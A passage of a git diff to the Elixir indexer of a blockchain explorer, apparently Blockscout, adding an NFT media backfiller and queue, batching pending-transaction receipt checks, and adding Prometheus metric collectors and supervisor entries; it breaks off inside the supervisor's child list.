000000000000..b8ebea6b81df --- /dev/null +++ b/apps/indexer/lib/indexer/nft_media_handler/backfiller.ex @@ -0,0 +1,104 @@ +defmodule Indexer.NFTMediaHandler.Backfiller do + @moduledoc """ + Module fetches from DB token instances which wasn't processed via NFTMediaHandler yet. Then put it to the queue. + Via get_instances/1 it's possible to get urls to fetch. + """ + alias Explorer.Chain.Token.Instance + + use GenServer + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @doc """ + Retrieves a specified number of instances from the queue. + + ## Parameters + - amount: The number of instances to retrieve. + + ## Returns + A list of instances. + """ + @spec get_instances(non_neg_integer) :: list + def get_instances(amount) do + if config()[:enabled?] do + GenServer.call(__MODULE__, {:get_instances, amount}) + else + [] + end + end + + @impl true + def init(_) do + %{ref: ref} = + Task.async(fn -> + Instance.stream_instances_to_resize_and_upload(&enqueue_if_queue_is_not_full/1) + end) + + {:ok, %{queue: %{}, ref_to_stream_task: ref, stream_is_over?: false}} + end + + # Enqueues the given instance if the queue is not full. + # if queue is full, it will wait enqueue_timeout() and call self again. + defp enqueue_if_queue_is_not_full(instance) do + url = Instance.get_media_url_from_metadata_for_nft_media_handler(instance.metadata) + + if !is_nil(url) do + if GenServer.call(__MODULE__, :not_full?) do + GenServer.cast(__MODULE__, {:append_to_queue, {url, instance.token_contract_address_hash, instance.token_id}}) + else + :timer.sleep(enqueue_timeout()) + + enqueue_if_queue_is_not_full(instance) + end + end + end + + # Handles the `:not_full?` call message. + # Returns whether the queue is not full. + + @impl true + def handle_call(:not_full?, _from, %{queue: queue} = state) do + {:reply, Enum.count(queue) < max_queue_size(), state} + end + + # Handles the `:get_instances` call message. + # Returns a specified number of instances from the queue. + @impl true + def handle_call({:get_instances, amount}, _from, %{queue: queue} = state) do + {to_return, remaining} = Enum.split(queue, amount) + {:reply, to_return, %{state | queue: remaining |> Enum.into(%{})}} + end + + # Handles the `:append_to_queue` cast message. + # Appends the given URL, token contract address hash, and token ID to the queue in the state. + @impl true + def handle_cast({:append_to_queue, {url, token_contract_address_hash, token_id}}, %{queue: queue} = state) do + {:noreply, %{state | queue: Map.put(queue, url, [{token_contract_address_hash, token_id} | queue[url] || []])}} + end + + # Handles the termination of the stream task. + @impl true + def handle_info({ref, _answer}, %{ref_to_stream_task: ref} = state) do + {:noreply, %{state | stream_is_over?: true}} + end + + # Handles the termination of the stream task. + @impl true + def handle_info({:DOWN, ref, :process, _pid, _reason}, %{ref_to_stream_task: ref} = state) do + {:noreply, %{state | stream_is_over?: true}} + end + + defp max_queue_size do + config()[:queue_size] + end + + defp enqueue_timeout do + config()[:enqueue_busy_waiting_timeout] + end + + defp config do + Application.get_env(:nft_media_handler, __MODULE__) + end +end diff --git a/apps/indexer/lib/indexer/nft_media_handler/queue.ex b/apps/indexer/lib/indexer/nft_media_handler/queue.ex new file mode 100644 index 000000000000..b85846785706 --- /dev/null +++ b/apps/indexer/lib/indexer/nft_media_handler/queue.ex @@ -0,0 +1,328 @@ +defmodule Indexer.NFTMediaHandler.Queue do + @moduledoc """ + Queue for fetching media + """ + + use GenServer + + require Logger + alias Explorer.Chain.Token.Instance + alias Explorer.Prometheus.Instrumenter + alias Explorer.Token.MetadataRetriever + alias Indexer.NFTMediaHandler.Backfiller + + @queue_storage :queue_storage + @tasks_in_progress :tasks_in_progress + + @doc """ + Processes new inserted NFT instances. + Adds instances to the queue if the media handler is enabled. + + ## Parameters + + - token_instances: new NFTs to process. + + ## Returns + + token_instances as is. + """ + @spec process_new_instances([Instance.t()]) :: [Instance.t()] + def process_new_instances(token_instances) do + process_new_instances_inner(token_instances, Application.get_env(:nft_media_handler, :enabled?)) + + token_instances + end + + defp process_new_instances_inner(_token_instances, false), do: :ignore + + defp process_new_instances_inner(token_instances, true) do + filtered_token_instances = + Enum.flat_map(token_instances, fn token_instance -> + url = Instance.get_media_url_from_metadata_for_nft_media_handler(token_instance.metadata) + + if url do + [{token_instance.token_contract_address_hash, token_instance.token_id, url}] + else + [] + end + end) + + GenServer.cast(__MODULE__, {:add_to_queue, filtered_token_instances}) + end + + def get_urls_to_fetch(amount) do + GenServer.call(__MODULE__, {:get_urls_to_fetch, amount}) + end + + def store_result(batch_result) do + GenServer.cast(__MODULE__, {:finished, batch_result}) + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + File.mkdir("./dets") + {:ok, queue} = :dets.open_file(@queue_storage, file: ~c"./dets/#{@queue_storage}", type: :bag) + {:ok, in_progress} = :dets.open_file(@tasks_in_progress, type: :set, file: ~c"./dets/#{@tasks_in_progress}") + + Process.flag(:trap_exit, true) + + {:ok, {queue, in_progress, nil}} + end + + def handle_cast( + {:add_to_queue, []}, + {queue, in_progress, continuation} + ) do + {:noreply, {queue, in_progress, continuation}} + end + + def handle_cast( + {:add_to_queue, token_instances}, + {queue, in_progress, continuation} = state + ) + when is_list(token_instances) do + token_instances + |> Enum.flat_map(&process_new_token_instance(&1, state)) + |> Instance.batch_upsert_cdn_results() + + {:noreply, {queue, in_progress, continuation}} + end + + def handle_cast({:finished, batch_result}, {_queue, in_progress, _continuation} = state) do + process_batch_result(batch_result, in_progress) + {:noreply, state} + end + + def handle_call({:get_urls_to_fetch, amount}, _from, {queue, in_progress, continuation} = state) do + {high_priority_urls, continuation} = fetch_urls_from_dets(queue, amount, continuation) + now = System.monotonic_time() + + high_priority_instances = fetch_and_delete_instances_from_queue(queue, high_priority_urls, now) + + taken_amount = Enum.count(high_priority_urls) + + {urls, instances} = + if taken_amount < amount do + {instances_to_upsert, backfill_items} = + (amount - taken_amount) + |> Backfiller.get_instances() + |> Enum.reduce({[], []}, &filter_fetched_backfill_url(&1, &2, state)) + + instances_to_upsert |> Instance.batch_upsert_cdn_results() + + {low_priority_instances, low_priority_urls} = + Enum.map_reduce(backfill_items, [], fn {url, instances}, acc -> + {{url, instances, now}, [url | acc]} + end) + + {high_priority_urls ++ low_priority_urls, high_priority_instances ++ low_priority_instances} + else + {high_priority_urls, high_priority_instances} + end + + dets_insert_wrapper(in_progress, instances) + {:reply, urls, {queue, in_progress, continuation}} + end + + @doc """ + Implementation of terminate callback. + Closes opened dets tables on application shutdown. + """ + def terminate(_reason, {queue, in_progress, _continuation}) do + :dets.close(queue) + :dets.close(in_progress) + end + + defp fetch_urls_from_dets(queue_table, amount, continuation) do + query = {:"$1", :_} + + result = + if is_nil(continuation) do + :dets.match(queue_table, query, amount) + else + :dets.match(continuation) + end + + case result do + {:error, reason} -> + Logger.error("Failed to fetch urls from dets: #{inspect(reason)}") + {[], nil} + + :"$end_of_table" -> + {[], nil} + + {urls, :"$end_of_table"} -> + {urls |> List.flatten() |> Enum.uniq(), nil} + + {urls, continuation} -> + {urls |> List.flatten() |> Enum.uniq(), continuation} + end + end + + defp fetch_and_delete_instances_from_queue(queue, urls, start_time) do + Enum.map(urls, fn url -> + instances = + queue + |> :dets.lookup(url) + |> Enum.map(fn {_url, {_address_hash, _token_id} = instance} -> instance end) + + :dets.delete(queue, url) + + {url, instances, start_time} + end) + end + + defp cache_uniqueness_name do + Application.get_env(:nft_media_handler, :cache_uniqueness_name) + end + + defp filter_fetched_backfill_url( + {url, backfill_instances} = input, + {instances_to_upsert, instances_to_fetch}, + {_queue, in_progress, _continuation} + ) do + case :dets.lookup(in_progress, url) do + [{_, instances, start_time}] -> + Logger.debug("Media url already in progress: #{url}, will append to instances: #{inspect(backfill_instances)}") + + dets_insert_wrapper(in_progress, {url, instances ++ backfill_instances, start_time}) + {instances_to_upsert, instances_to_fetch} + + _ -> + case Cachex.get(cache_uniqueness_name(), url) do + {:ok, cached_result} when is_map(cached_result) -> + Logger.debug("Media url already fetched: #{url}, will copy from cache to: #{inspect(backfill_instances)}") + now = DateTime.utc_now() + + # credo:disable-for-lines:2 Credo.Check.Refactor.Nesting + new_instances_to_upsert = + Enum.map(backfill_instances, fn {token_address_hash, token_id} -> + Map.merge(cached_result, %{ + updated_at: now, + inserted_at: now, + token_contract_address_hash: token_address_hash, + token_id: token_id + }) + end) + + {instances_to_upsert ++ new_instances_to_upsert, instances_to_fetch} + + _ -> + {instances_to_upsert, [input | instances_to_fetch]} + end + end + end + + defp dets_insert_wrapper(table, value) do + case :dets.insert(table, value) do + :ok -> :ok + {:error, reason} -> Logger.error("Failed to insert into dets #{table}: #{inspect(reason)}") + end + end + + defp process_batch_result(result, in_progress_cache) do + updated_at = DateTime.utc_now() + + {instances_to_upsert, results_to_cache} = + Enum.reduce(result, {[], []}, fn {result, url}, {instances_acc, results_acc} -> + case :dets.lookup(in_progress_cache, url) do + [{_, instances, start_time}] -> + :dets.delete(in_progress_cache, url) + {result_base, result_for_cache} = process_result(result, url, start_time, updated_at) + + # credo:disable-for-lines:2 Credo.Check.Refactor.Nesting + instances_to_upsert = + Enum.map(instances, fn {token_contract_address_hash, token_id} -> + Map.merge(result_base, %{token_contract_address_hash: token_contract_address_hash, token_id: token_id}) + end) + + {instances_acc ++ instances_to_upsert, [result_for_cache | results_acc]} + + _ -> + Logger.error("Failed to find instances in in_progress dets for url: #{url}, result: #{inspect(result)}") + end + end) + + Cachex.put_many(cache_uniqueness_name(), results_to_cache) + + Instance.batch_upsert_cdn_results(instances_to_upsert) + end + + defp process_result({:error, reason}, url, _start_time, updated_at) do + cdn_upload_error = reason |> inspect() |> MetadataRetriever.truncate_error() + + result_base = %{ + thumbnails: nil, + media_type: nil, + updated_at: updated_at, + inserted_at: updated_at, + cdn_upload_error: cdn_upload_error + } + + Instrumenter.increment_failed_uploading_media_number() + + {result_base, {url, %{thumbnails: nil, media_type: nil, cdn_upload_error: cdn_upload_error}}} + end + + defp process_result({result, media_type}, url, start_time, updated_at) when is_list(result) do + result_base = %{ + thumbnails: result, + media_type: Instance.media_type_to_string(media_type), + updated_at: updated_at, + inserted_at: updated_at, + cdn_upload_error: nil + } + + Instrumenter.increment_successfully_uploaded_media_number() + + Instrumenter.media_processing_time( + System.convert_time_unit(System.monotonic_time() - start_time, :native, :millisecond) / 1000 + ) + + {result_base, + {url, + %{ + thumbnails: result, + media_type: Instance.media_type_to_string(media_type), + cdn_upload_error: nil + }}} + end + + defp process_new_token_instance({token_address_hash, token_id, media_url}, {queue, in_progress, _continuation}) do + case :dets.lookup(in_progress, media_url) do + [{_, instances, start_time}] -> + Logger.debug( + "Media url already in progress: #{media_url}, will append to instances: {#{to_string(token_address_hash)}, #{token_id}} " + ) + + dets_insert_wrapper(in_progress, {media_url, [{token_address_hash, token_id} | instances], start_time}) + [] + + _ -> + case Cachex.get(cache_uniqueness_name(), media_url) do + {:ok, cached_result} when is_map(cached_result) -> + Logger.debug( + "Media url already fetched: #{media_url}, will take result from cache to: {#{to_string(token_address_hash)}, #{token_id}} " + ) + + now = DateTime.utc_now() + + [ + Map.merge(cached_result, %{ + updated_at: now, + inserted_at: now, + token_contract_address_hash: token_address_hash, + token_id: token_id + }) + ] + + _ -> + dets_insert_wrapper(queue, {media_url, {token_address_hash, token_id}}) + [] + end + end + end +end diff --git a/apps/indexer/lib/indexer/pending_ops_cleaner.ex b/apps/indexer/lib/indexer/pending_ops_cleaner.ex index dd3e39950c08..6c12f6810d96 100644 --- a/apps/indexer/lib/indexer/pending_ops_cleaner.ex +++ b/apps/indexer/lib/indexer/pending_ops_cleaner.ex @@ -1,6 +1,6 @@ defmodule Indexer.PendingOpsCleaner do @moduledoc """ - Peiodically cleans non-consensus pending ops. + Periodically cleans non-consensus pending ops. """ use GenServer diff --git a/apps/indexer/lib/indexer/pending_transactions_sanitizer.ex b/apps/indexer/lib/indexer/pending_transactions_sanitizer.ex index 9a8148dff62f..0f3ef9545915 100644 --- a/apps/indexer/lib/indexer/pending_transactions_sanitizer.ex +++ b/apps/indexer/lib/indexer/pending_transactions_sanitizer.ex @@ -8,18 +8,14 @@ defmodule Indexer.PendingTransactionsSanitizer do require Logger - import EthereumJSONRPC, only: [json_rpc: 2, request: 1] + import EthereumJSONRPC, only: [json_rpc: 2, request: 1, id_to_params: 1] import EthereumJSONRPC.Receipt, only: [to_elixir: 1] alias Ecto.Changeset alias Explorer.{Chain, Repo} - alias Explorer.Chain.Hash.Full, as: Hash - alias Explorer.Chain.Import.Runner.Blocks - alias Explorer.Chain.Transaction + alias Explorer.Chain.{Block, Transaction} - @interval :timer.hours(3) - - defstruct interval: @interval, + defstruct interval: nil, json_rpc_named_arguments: [] def child_spec([init_arguments]) do @@ -42,7 +38,7 @@ defmodule Indexer.PendingTransactionsSanitizer do def init(opts) when is_list(opts) do state = %__MODULE__{ json_rpc_named_arguments: Keyword.fetch!(opts, :json_rpc_named_arguments), - interval: opts[:interval] || @interval + interval: Application.get_env(:indexer, __MODULE__)[:interval] } Process.send_after(self(), :sanitize_pending_transactions, state.interval) @@ -66,81 +62,99 @@ defmodule Indexer.PendingTransactionsSanitizer do end defp sanitize_pending_transactions(json_rpc_named_arguments) do + receipts_batch_size = Application.get_env(:indexer, :receipts_batch_size) pending_transactions_list_from_db = Chain.pending_transactions_list() - - pending_transactions_list_from_db - |> Enum.with_index() - |> Enum.each(fn {pending_tx, ind} -> - pending_tx_hash_str = "0x" <> Base.encode16(pending_tx.hash.bytes, case: :lower) - - with {:ok, result} <- - %{id: ind, method: "eth_getTransactionReceipt", params: [pending_tx_hash_str]} - |> request() - |> json_rpc(json_rpc_named_arguments) do - if result do - block_hash = Map.get(result, "blockHash") - - if block_hash do - Logger.debug( - "Transaction with hash #{pending_tx_hash_str} already included into the block #{block_hash}. We should invalidate consensus for it in order to re-fetch transactions", - fetcher: :pending_transactions_to_refetch - ) - - fetch_block_and_invalidate(block_hash, pending_tx, result) + id_to_params = id_to_params(pending_transactions_list_from_db) + + with {:ok, responses} <- + id_to_params + |> get_transaction_receipt_requests() + |> Enum.chunk_every(receipts_batch_size) + |> json_rpc(json_rpc_named_arguments) do + Enum.each(responses, fn + %{id: id, result: result} -> + pending_transaction = Map.fetch!(id_to_params, id) + + if result do + fetch_block_and_invalidate_wrapper(pending_transaction, to_string(pending_transaction.hash), result) else Logger.debug( - "Transaction with hash #{pending_tx_hash_str} is still pending. Do nothing.", + "Transaction with hash #{pending_transaction.hash} doesn't exist in the node anymore. We should remove it from Blockscout DB.", fetcher: :pending_transactions_to_refetch ) + + fetch_pending_transaction_and_delete(pending_transaction) end - else - Logger.debug( - "Transaction with hash #{pending_tx_hash_str} doesn't exist in the node anymore. We should remove it from Blockscout DB.", - fetcher: :pending_transactions_to_refetch - ) - - fetch_pending_transaction_and_delete(pending_tx) - end - end - end) + + error -> + Logger.error("Error while fetching pending transaction receipt: #{inspect(error)}") + end) + end Logger.debug("Pending transactions are sanitized", fetcher: :pending_transactions_to_refetch ) end - defp fetch_pending_transaction_and_delete(transaction) do - pending_tx_hash_str = "0x" <> Base.encode16(transaction.hash.bytes, case: :lower) + defp get_transaction_receipt_requests(id_to_params) do + Enum.map(id_to_params, fn {id, transaction} -> + request(%{id: id, method: "eth_getTransactionReceipt", params: [to_string(transaction.hash)]}) + end) + end - case transaction - |> Changeset.change() - |> Repo.delete() do - {:ok, _transaction} -> - Logger.debug( - "Transaction with hash #{pending_tx_hash_str} successfully deleted from Blockscout DB because it doesn't exist in the archive node anymore", - fetcher: :pending_transactions_to_refetch - ) + defp fetch_block_and_invalidate_wrapper(pending_transaction, pending_transaction_hash_string, result) do + block_hash = Map.get(result, "blockHash") + if block_hash do + Logger.debug( + "Transaction with hash #{pending_transaction_hash_string} already included into the block #{block_hash}. We should invalidate consensus for it in order to re-fetch transactions", + fetcher: :pending_transactions_to_refetch + ) + + fetch_block_and_invalidate(block_hash, pending_transaction, result) + else + Logger.debug( + "Transaction with hash #{pending_transaction_hash_string} is still pending. Do nothing.", + fetcher: :pending_transactions_to_refetch + ) + end + end + + defp fetch_pending_transaction_and_delete(transaction) do + with %{block_hash: nil} <- Repo.reload(transaction), + changeset = Changeset.change(transaction), + {:ok, _transaction} <- Repo.delete(changeset, timeout: :infinity) do + Logger.debug( + "Transaction with hash #{transaction.hash} successfully deleted from Blockscout DB because it doesn't exist in the archive node anymore", + fetcher: :pending_transactions_to_refetch + ) + else {:error, changeset} -> Logger.debug( [ - "Deletion of pending transaction with hash #{pending_tx_hash_str} from Blockscout DB failed", + "Deletion of pending transaction with hash #{transaction.hash} from Blockscout DB failed", inspect(changeset) ], fetcher: :pending_transactions_to_refetch ) + + _transaction -> + Logger.debug( + "Transaction with hash #{transaction.hash} is already included in block, cancel deletion", + fetcher: :pending_transactions_to_refetch + ) end end - defp fetch_block_and_invalidate(block_hash, pending_tx, tx) do + defp fetch_block_and_invalidate(block_hash, pending_transaction, transaction) do case Chain.fetch_block_by_hash(block_hash) do - %{number: number, consensus: consensus} -> + %{number: number, consensus: consensus} = block -> Logger.debug( "Corresponding number of the block with hash #{block_hash} to invalidate is #{number} and consensus #{consensus}", fetcher: :pending_transactions_to_refetch ) - invalidate_block(number, block_hash, consensus, pending_tx, tx) + invalidate_block(block, pending_transaction, transaction) _ -> Logger.debug( @@ -150,26 +164,27 @@ defmodule Indexer.PendingTransactionsSanitizer do end end - defp invalidate_block(block_number, block_hash, consensus, pending_tx, tx) do - if consensus do - Blocks.invalidate_consensus_blocks([block_number]) + defp invalidate_block(block, pending_transaction, transaction) do + if block.consensus do + Block.set_refetch_needed(block.number) else - {:ok, hash} = Hash.cast(block_hash) - tx_info = to_elixir(tx) + transaction_info = to_elixir(transaction) changeset = - pending_tx + pending_transaction |> Transaction.changeset() - |> Changeset.put_change(:cumulative_gas_used, tx_info["cumulativeGasUsed"]) - |> Changeset.put_change(:gas_used, tx_info["gasUsed"]) - |> Changeset.put_change(:index, tx_info["transactionIndex"]) - |> Changeset.put_change(:block_number, block_number) - |> Changeset.put_change(:block_hash, hash) + |> Changeset.put_change(:cumulative_gas_used, transaction_info["cumulativeGasUsed"]) + |> Changeset.put_change(:gas_used, transaction_info["gasUsed"]) + |> Changeset.put_change(:index, transaction_info["transactionIndex"]) + |> Changeset.put_change(:block_number, block.number) + |> Changeset.put_change(:block_hash, block.hash) + |> Changeset.put_change(:block_timestamp, block.timestamp) + |> Changeset.put_change(:block_consensus, false) Repo.update(changeset) Logger.debug( - "Pending tx with hash #{"0x" <> Base.encode16(pending_tx.hash.bytes, case: :lower)} assigned to block ##{block_number} with hash #{block_hash}" + "Pending transaction with hash #{pending_transaction.hash} assigned to block ##{block.number} with hash #{block.hash}" ) end end diff --git a/apps/indexer/lib/indexer/prometheus/collector/filecoin_pending_address_operations_collector.ex b/apps/indexer/lib/indexer/prometheus/collector/filecoin_pending_address_operations_collector.ex new file mode 100644 index 000000000000..231a8048d6bc --- /dev/null +++ b/apps/indexer/lib/indexer/prometheus/collector/filecoin_pending_address_operations_collector.ex @@ -0,0 +1,35 @@ +defmodule Indexer.Prometheus.Collector.FilecoinPendingAddressOperations do + @moduledoc """ + Custom collector to count number of records in filecoin_pending_address_operations table. + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :filecoin do + use Prometheus.Collector + + # TODO: remove when https://github.com/elixir-lang/elixir/issues/13975 comes to elixir release + alias Explorer.Chain.Filecoin.PendingAddressOperation, warn: false + alias Explorer.Repo, warn: false + alias Prometheus.Model, warn: false + + def collect_mf(_registry, callback) do + query = PendingAddressOperation.fresh_operations_query() + + callback.( + create_gauge( + :filecoin_pending_address_operations, + "Number of pending address operations that have not been fetched yet", + Repo.aggregate(query, :count, timeout: :infinity) + ) + ) + end + + def collect_metrics(:filecoin_pending_address_operations, count) do + Model.gauge_metrics([{count}]) + end + + defp create_gauge(name, help, data) do + Model.create_mf(name, help, :gauge, __MODULE__, data) + end + end +end diff --git a/apps/indexer/lib/indexer/prometheus/collector/pending_block_operations_collector.ex b/apps/indexer/lib/indexer/prometheus/collector/pending_block_operations_collector.ex new file mode 100644 index 000000000000..56f7f48408de --- /dev/null +++ b/apps/indexer/lib/indexer/prometheus/collector/pending_block_operations_collector.ex @@ -0,0 +1,29 @@ +defmodule Indexer.Prometheus.Collector.PendingBlockOperations do + @moduledoc """ + Custom collector to count number of records in pending_block_operations table. + """ + + use Prometheus.Collector + + alias Explorer.Chain.PendingBlockOperation + alias Explorer.Repo + alias Prometheus.Model + + def collect_mf(_registry, callback) do + callback.( + create_gauge( + :pending_block_operations_count, + "Number of records in pending_block_operations table", + Repo.aggregate(PendingBlockOperation, :count) + ) + ) + end + + def collect_metrics(:pending_block_operations_count, count) do + Model.gauge_metrics([{count}]) + end + + defp create_gauge(name, help, data) do + Model.create_mf(name, help, :gauge, __MODULE__, data) + end +end diff --git a/apps/indexer/lib/indexer/prometheus/collector/pending_transaction_operations_collector.ex b/apps/indexer/lib/indexer/prometheus/collector/pending_transaction_operations_collector.ex new file mode 100644 index 000000000000..38f022186b6d --- /dev/null +++ b/apps/indexer/lib/indexer/prometheus/collector/pending_transaction_operations_collector.ex @@ -0,0 +1,29 @@ +defmodule Indexer.Prometheus.Collector.PendingTransactionOperations do + @moduledoc """ + Custom collector to count number of records in pending_transaction_operations table. + """ + + use Prometheus.Collector + + alias Explorer.Chain.PendingTransactionOperation + alias Explorer.Repo + alias Prometheus.Model + + def collect_mf(_registry, callback) do + callback.( + create_gauge( + :pending_transaction_operations_count, + "Number of records in pending_transaction_operations table", + Repo.aggregate(PendingTransactionOperation, :count) + ) + ) + end + + def collect_metrics(:pending_transaction_operations_count, count) do + Model.gauge_metrics([{count}]) + end + + defp create_gauge(name, help, data) do + Model.create_mf(name, help, :gauge, __MODULE__, data) + end +end diff --git a/apps/indexer/lib/indexer/prometheus/instrumenter.ex b/apps/indexer/lib/indexer/prometheus/instrumenter.ex new file mode 100644 index 000000000000..47a71417fc6f --- /dev/null +++ b/apps/indexer/lib/indexer/prometheus/instrumenter.ex @@ -0,0 +1,137 @@ +defmodule Indexer.Prometheus.Instrumenter do + @moduledoc """ + Blockchain data fetch and import metrics for `Prometheus`. + """ + + use Prometheus.Metric + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + @rollups [:arbitrum, :zksync, :optimism, :polygon_zkevm, :scroll] + + @histogram [ + name: :block_full_processing_duration_microseconds, + labels: [:fetcher], + buckets: [1000, 5000, 10000, 100_000], + duration_unit: :microseconds, + help: "Block whole processing time including fetch and import" + ] + + @histogram [ + name: :block_import_duration_microseconds, + labels: [:fetcher], + buckets: [1000, 5000, 10000, 100_000], + duration_unit: :microseconds, + help: "Block import time" + ] + + @histogram [ + name: :block_batch_fetch_request_duration_microseconds, + labels: [:fetcher], + buckets: [1000, 5000, 10000, 100_000], + duration_unit: :microseconds, + help: "Block fetch batch request processing time" + ] + + @gauge [name: :missing_block_count, help: "Number of missing blocks in the database"] + + @gauge [name: :delay_from_last_node_block, help: "Delay from the last block on the node in seconds"] + + @counter [name: :import_errors_count, help: "Number of database import errors"] + + @gauge [name: :memory_consumed, labels: [:fetcher], help: "Amount of memory consumed by fetchers (MB)"] + + @gauge [name: :latest_block_number, help: "Latest block number"] + + @gauge [name: :latest_block_timestamp, help: "Latest block timestamp"] + + def block_full_process(time, fetcher) do + Histogram.observe([name: :block_full_processing_duration_microseconds, labels: [fetcher]], time) + end + + def block_import(time, fetcher) do + Histogram.observe([name: :block_import_duration_microseconds, labels: [fetcher]], time) + end + + def block_batch_fetch(time, fetcher) do + Histogram.observe([name: :block_batch_fetch_request_duration_microseconds, labels: [fetcher]], time) + end + + def missing_blocks(missing_block_count) do + Gauge.set([name: :missing_block_count], missing_block_count) + end + + def node_delay(delay) do + Gauge.set([name: :delay_from_last_node_block], delay) + end + + def import_errors(error_count \\ 1) do + Counter.inc([name: :import_errors_count], error_count) + end + + def set_memory_consumed(fetcher, memory) do + Gauge.set([name: :memory_consumed, labels: [fetcher]], memory) + end + + defp latest_block_number(number) do + Gauge.set([name: :latest_block_number], number) + end + + defp latest_block_timestamp(timestamp) do + Gauge.set([name: :latest_block_timestamp], timestamp) + end + + @doc """ + Generates the latest block number and timestamp Prometheus metrics. + + ## Parameters + + - `number`: The block number to set. + - `timestamp`: The timestamp of the block as a `DateTime` struct. + """ + @spec set_latest_block(number :: integer, timestamp :: DateTime.t()) :: :ok + def set_latest_block(number, timestamp) do + latest_block_number(number) + latest_block_timestamp(DateTime.to_unix(timestamp)) + end + + if @chain_type in @rollups do + @gauge [name: :latest_batch_number, help: "L2 latest batch number"] + + @gauge [name: :latest_batch_timestamp, help: "L2 latest batch timestamp"] + + defp latest_batch_number(number) do + Gauge.set([name: :latest_batch_number], number) + end + + defp latest_batch_timestamp(timestamp) do + Gauge.set([name: :latest_batch_timestamp], timestamp) + end + + @doc """ + Generates the latest batch number and timestamp Prometheus metrics. + + ## Parameters + + - `number`: The batch number to set. + - `timestamp`: The timestamp of the batch as a `DateTime` struct. + """ + @spec set_latest_batch(number :: integer, timestamp :: DateTime.t()) :: :ok + def set_latest_batch(number, timestamp) do + latest_batch_number(number) + latest_batch_timestamp(DateTime.to_unix(timestamp)) + end + else + @doc """ + Generates the latest batch number and timestamp Prometheus metrics. + + ## Parameters + + - `number`: The batch number to set. + - `timestamp`: The timestamp of the batch as a `DateTime` struct. + """ + @spec set_latest_batch(number :: integer, timestamp :: DateTime.t()) :: :ok + def set_latest_batch(_number, _timestamp) do + :ok + end + end +end diff --git a/apps/indexer/lib/indexer/supervisor.ex b/apps/indexer/lib/indexer/supervisor.ex index 50770c23d166..0d41e0f46293 100644 --- a/apps/indexer/lib/indexer/supervisor.ex +++ b/apps/indexer/lib/indexer/supervisor.ex @@ -5,37 +5,73 @@ defmodule Indexer.Supervisor do use Supervisor + import Cachex.Spec + + alias Explorer.Chain.BridgedToken + alias Indexer.{ Block, + BridgedTokens.CalcLpTokensTotalLiquidity, + BridgedTokens.SetAmbBridgedMetadataForTokens, + BridgedTokens.SetOmniBridgedMetadataForTokens, PendingOpsCleaner, PendingTransactionsSanitizer } - alias Indexer.Block.{Catchup, Realtime} + alias Indexer.Block.Catchup, as: BlockCatchup + alias Indexer.Block.Realtime, as: BlockRealtime + alias Indexer.Fetcher.Blackfort.Validator, as: ValidatorBlackfort + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Fetcher.CoinBalance.Realtime, as: CoinBalanceRealtime + alias Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue, as: MultichainSearchDbBalancesExportQueue + alias Indexer.Fetcher.MultichainSearchDb.CountersExportQueue, as: MultichainSearchDbCountersExportQueue + alias Indexer.Fetcher.MultichainSearchDb.CountersFetcher, as: MultichainSearchDbCountersFetcher + alias Indexer.Fetcher.MultichainSearchDb.MainExportQueue, as: MultichainSearchDbMainExportQueue + alias Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue, as: MultichainSearchDbTokenInfoExportQueue + alias Indexer.Fetcher.Stability.Validator, as: ValidatorStability + alias Indexer.Fetcher.TokenInstance.Realtime, as: TokenInstanceRealtime + alias Indexer.Fetcher.TokenInstance.Retry, as: TokenInstanceRetry + alias Indexer.Fetcher.TokenInstance.Sanitize, as: TokenInstanceSanitize + alias Indexer.Fetcher.TokenInstance.SanitizeERC1155, as: TokenInstanceSanitizeERC1155 + alias Indexer.Fetcher.TokenInstance.SanitizeERC721, as: TokenInstanceSanitizeERC721 alias Indexer.Fetcher.{ + AddressNonceUpdater, BlockReward, - CoinBalance, - CoinBalanceOnDemand, ContractCode, EmptyBlocksSanitizer, InternalTransaction, + PendingBlockOperationsSanitizer, PendingTransaction, ReplacedTransaction, + RootstockData, Token, TokenBalance, - TokenInstance, - TokenTotalSupplyOnDemand, + TokenCountersUpdater, + TokenTotalSupplyUpdater, TokenUpdater, - UncleBlock + TransactionAction, + UncleBlock, + Withdrawal } + alias Indexer.Fetcher.Arbitrum.DataBackfill, as: ArbitrumDataBackfill + alias Indexer.Fetcher.Arbitrum.MessagesToL2Matcher, as: ArbitrumMessagesToL2Matcher + alias Indexer.Fetcher.Arbitrum.RollupMessagesCatchup, as: ArbitrumRollupMessagesCatchup + alias Indexer.Fetcher.Arbitrum.TrackingBatchesStatuses, as: ArbitrumTrackingBatchesStatuses + alias Indexer.Fetcher.Arbitrum.TrackingMessagesOnL1, as: ArbitrumTrackingMessagesOnL1 + alias Indexer.Fetcher.ZkSync.BatchesStatusTracker, as: ZkSyncBatchesStatusTracker + alias Indexer.Fetcher.ZkSync.TransactionBatch, as: ZkSyncTransactionBatch + + alias Indexer.Migrator.RecoveryWETHTokenTransfers + alias Indexer.Temporary.{ - BlocksTransactionsMismatch, UncatalogedTokenTransfers, UnclesWithoutIndex } + alias Indexer.Utils.EventNotificationsCleaner + def child_spec([]) do child_spec([[]]) end @@ -92,66 +128,282 @@ defmodule Indexer.Supervisor do realtime_subscribe_named_arguments = realtime_overrides[:subscribe_named_arguments] || subscribe_named_arguments - realtime_fetcher = - if Application.get_env(:indexer, Realtime.Supervisor)[:enabled] do - [ - {Realtime.Supervisor, + basic_fetchers = + [ + # Root fetchers + {PendingTransaction.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, + + # Async catchup fetchers + {UncleBlock.Supervisor, [[block_fetcher: block_fetcher, memory_monitor: memory_monitor]]}, + {InternalTransaction.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {CoinBalanceCatchup.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {CoinBalanceRealtime.Supervisor, + [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {Token.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments, memory_monitor: memory_monitor]]}, + {TokenInstanceRealtime.Supervisor, [[memory_monitor: 